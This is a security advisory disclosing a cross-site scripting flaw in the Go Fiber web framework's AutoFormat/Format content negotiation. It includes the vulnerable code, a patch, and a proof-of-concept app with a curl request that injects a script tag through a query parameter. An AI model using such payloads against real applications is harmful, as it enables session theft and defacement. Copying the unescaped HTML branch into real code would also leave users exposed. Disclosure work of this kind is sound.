Fiber vulnerable to XSS in AutoFormat Content NegotiationCVE-2026-42554

## Summary **Description** A Cross-Site Scripting (CWE-79) vulnerability in Go Fiber allows a remote attacker to inject arbitrary HTML/JavaScript by supplying `Accept: text/html` on any request whose handler passes attacker-influenced data to the AutoFormat() feature. This affects `github.com/gofiber/fiber/v3` (`DefaultRes.AutoFormat`) through version 3.1.0 and `github.com/gofiber/fiber/v2` (`Ctx.Format`) through version 2.52.12. The developer opts into content negotiation by calling AutoFormat(), but does not opt into raw HTML emission for a particular request; Fiber chooses that branch from attacker-controlled Accept. Five of the six branches of the same method already escape. `JSON`, `XML`, `MsgPack`, and `CBOR` all route through encoders that neutralize markup; the txt branch emits `text/plain` and cannot execute. The html branch is the sole outlier in a method whose name (`AutoFormat`) and symmetrical structure actively telegraph "safe, format-agnostic reply." ## Details The issue resides in `res.go` within `(*DefaultRes).AutoFormat()`. The method negotiates against the request Accept header, selects one of `html | json | txt | xml | msgpack | cbor`, and serializes the caller-supplied body accordingly. The "html" branch concatenates the stringified body directly into HTML markup with no output encoding: - `accept` comes from `r.c.Accepts(...)`, i.e. is fully attacker-controlled. An attacker can force the "html" branch on any `AutoFormat()` call regardless of which format the developer tested against. - `b` is produced from `body` via direct assignment (`string` / `[]byte`) or `fmt.Sprintf("%v", body)`. No `html.EscapeString` is applied. - The resulting string is sent as `text/html; charset=utf-8`, so browsers render it as active HTML. ```go // res.go func (r *DefaultRes) AutoFormat(body any) error { accept := r.c.DefaultReq.Accepts("html", "json", "txt", "xml", "msgpack", "cbor") r.Type(accept) var b string switch val := body.(type) { case string: b = val case []byte: b = r.c.app.toString(val) default: b = fmt.Sprintf("%v", val) } switch accept { case "txt": return r.SendString(b) case "json": return r.JSON(body) case "xml": return r.XML(body) case "html": return r.SendString("<p>" + b + "</p>") case "msgpack": return r.MsgPack(body) case "cbor": return r.CBOR(body) } return r.SendString(b) } ``` ## Impact This impacts all current v3 releases ≤ 3.1.0 containing `DefaultRes.AutoFormat`, and all current v2 releases ≤ 2.52.12 where the identical `"<p>" + b + "</p>"` construction exists in `(*Ctx).Format()`. Exploitation requires that an application call `c.AutoFormat(v)` where `v` (or a field stringified by `%v`) contains request-influenced data. A handler that uses `AutoFormat()` to serve multiple representations of the same data can be turned into an HTML XSS sink when the client sends `Accept: text/html`, even if the developer only tested the JSON path. This may result in: - **Reflected XSS** in the application's origin via any request-derived value reaching `AutoFormat`. - **Stored XSS** where the reflected value originates from persisted input later passed to `AutoFormat`. ## Proposed Patch The injection surface is `r.Type("html")` followed by `r.SendString(b)` with unescaped caller data, where it constructs markup on the caller's behalf around a value whose HTML-ness the caller did not declare. A few options: - `AutoFormat()` should treat `body` as data, not markup, in the `"html"` branch and escape it before concatenating it into the framework-generated `<p>` wrapper. Callers that need raw negotiated HTML should use `Format()` with an explicit HTML handler. - Introduce a sibling method that escapes, leave `AutoFormat` alone for backward compatibility. HTML-escape the value in the "html" branch before concatenating it into the `<p>` wrapper. ```go import "html" // ... case "html": return r.SendString("<p>" + html.EscapeString(b) + "</p>") ``` `html.EscapeString` escapes `<`, `>`, `&`, `'`, `"`, which is sufficient for an element-text context. Apply the same change to v2's `(*Ctx).Format()`. ## Proof of Concept ```bash # Create project directory mkdir fiber-xss-poc && cd fiber-xss-poc # Initialize Go module go mod init fiber-xss-poc # Install Fiber v3 go get github.com/gofiber/fiber/v3 # Create the PoC file cat > main.go << 'EOF' package main import ( "github.com/gofiber/fiber/v3" ) type User struct { ID int `json:"id"` Name string `json:"name"` } func main() { app := fiber.New() app.Get("/api/user", func(c fiber.Ctx) error { user := User{ ID: 1, Name: c.Query("name", "anonymous"), } return c.AutoFormat(user) }) app.Listen(":3000") } EOF # Run it go run main.go } ``` Benign JSON ```bash curl -s 'http://127.0.0.1:3000/api/user?name=Alice' -H 'Accept: application/json' {"id":1,"name":"Alice"} ``` HTML sink enables XSS ```bash curl -s 'http://127.0.0.1:3000/api/user?name=<script>alert(document.domain)</script>' -H 'Accept: text/html' <p>{1 <script>alert(document.domain)</script>}</p> ```

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